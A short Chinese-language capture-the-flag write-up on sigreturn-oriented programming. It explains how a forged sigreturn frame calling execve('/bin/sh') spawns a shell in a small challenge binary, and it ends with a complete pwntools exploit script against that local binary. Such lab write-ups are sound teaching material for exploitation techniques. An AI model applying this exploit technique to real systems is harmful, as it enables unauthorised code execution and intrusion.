SROP(ctf wiki找到的题,不知道出处了)
题目分析
checksec:
伪代码:
一共就只有一个main函数,main函数也很简单。一个read函数读入数据,当读入的字节数大于0xf8时就触发sys_rt_sigreturn,然后退出
思路很明确,只需要构造一个伪sigframe调用execve即可,这里有现成的sigreturn连这步构造都省略了
大致思路
1.构造sigframe调用execve
2.填满0xf8个字节
3.找个喜欢的地方填上 ‘/bin/sh\x00’
注意点与收获
-
看看sigframe的构造
#单次调用 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = bss_addr+0x100 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall_addr sigframe = bytes(sigframe) #这个sigframe中不需要rsp是因为只调用一次,不用考虑函数返回后指向哪儿的问题 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0x0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_addr sigframe = bytes(sigframe) #当需要多次构造sigframe时,需要控制rsp。rsp的作用是当sigframe构造的函数执行完毕后接着执行
完整exp
from pwn import *
context(
log_level='debug',
arch="amd64",
binary="./srop"
)
io = process()
elf = ELF('./srop')
gdb.attach(io)
str_bin_sh_offset = 0x100
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
print(hex(len(frame)))
payload = bytes(frame)
payload = payload.ljust(0x100, b'A')
payload += b'/bin/sh\x00'
io.send(payload)
io.interactive()